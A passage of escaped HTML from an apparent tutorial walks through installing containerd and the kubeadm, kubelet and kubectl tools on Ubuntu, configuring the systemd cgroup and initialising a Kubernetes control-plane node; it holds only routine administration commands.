#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.7-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.6-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.4-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.11-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.10-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we'll setup a configuration that enables containerd to use the systemd\ncgroup.  We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can verify its running with ctr:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ectr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--address\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system.  I’m going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.4-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e.  You can check that it is available to you doing this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e):$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-g\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I'll show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em16s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you recieve \"The connecto to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time.  So if you aren't able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e.  You'll need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running.  If it isn't you can check:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 